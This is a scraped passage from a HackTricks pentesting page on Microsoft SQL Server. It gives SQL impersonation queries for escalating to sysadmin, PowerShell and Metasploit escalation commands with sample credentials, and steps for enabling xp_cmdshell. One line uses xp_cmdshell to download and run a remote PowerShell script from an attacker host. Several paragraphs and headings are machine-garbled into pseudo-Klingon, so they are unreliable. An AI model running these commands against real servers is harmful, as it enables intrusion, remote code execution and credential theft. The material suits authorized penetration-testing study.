# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonation of other users

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

ʼIw HIqej vItlhutlh

SQL Server vItlhutlh IMPERSONATE DaH vItlhutlh permission, 'ej vItlhutlh executing user to take on the permissions of another user login context reset session ends.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

{% hint style="info" %} Qapla'! jImejDaq 'e' vItlhutlhlaHbe'chugh, 'ach 'oHbe'chugh vItlhutlhlaHbe'chugh, user 'e' vItlhutlhlaHbe'chugh databases 'ej linked servers. {% endhint %}

ghaH 'ejwI'vam sysadmin 'e' vItlhutlhlaHbe'chugh, 'ej 'oHbe'chugh vItlhutlhlaHbe'chugh:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

metasploit module-ghItlh'a' vItlhutlh. vaj metasploit module-ghItlh'a' vItlhutlh.

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

or with a PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Using MSSQL for Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Extracting passwords from SQL Server Linked Servers

An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found here

Some requirements, and configurations must be done in order for this exploit to work. First of all, you must have Administrator rights on the machine, or the ability to manage the SQL Server Configurations.

After validating your permissions, you need to configure three things, which are the following:

Enable TCP/IP on the SQL Server instances;
Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
Enable remote admin connection.

To automate these configurations, this repository has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.

For further information, refer to the following links regarding this attack: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator following one of these 2 paged:

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}

Shodan

port:1433 !HTTP

References

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

qaStaHvIS AWS hacking vItlh htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
Get the official PEASS & HackTricks swag
Discover The PEASS Family, our collection of exclusive NFTs
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

README.md Unescape Escape

1433 - Pentesting MSSQL - Microsoft SQL Server

Basic Information

Default MS-SQL System Tables

Enumeration

Automatic Enumeration

QaD

QaD QaD

QaD

Qa'legh Enumeration

Service Detection

Version Detection

Default Credentials

Brute-Force Attacks

Information Gathering

Service Exploitation

Post-Exploitation

Get User

Get Permissions

QaD

Qap OS Qom

Steal NetNTLM hash / Relay attack

MSSQL trusted Links chel

Write Files

OPENROWSET-va' file bIQtIq law' READ

SQLi-ghItlh 'oH vItlhutlh:

RCE/Read files executing scripts (Python and R)

Read Registry

RCE with MSSQL User Defined Function - SQLHttp

RCE bI'reS

MSSQL Privilege Escalation

From db_owner to sysadmin

Impersonation of other users

ʼIw HIqej vItlhutlh

Using MSSQL for Persistence

Extracting passwords from SQL Server Linked Servers

Local Privilege Escalation

Shodan

References

HackTricks Automatic Commands

README.md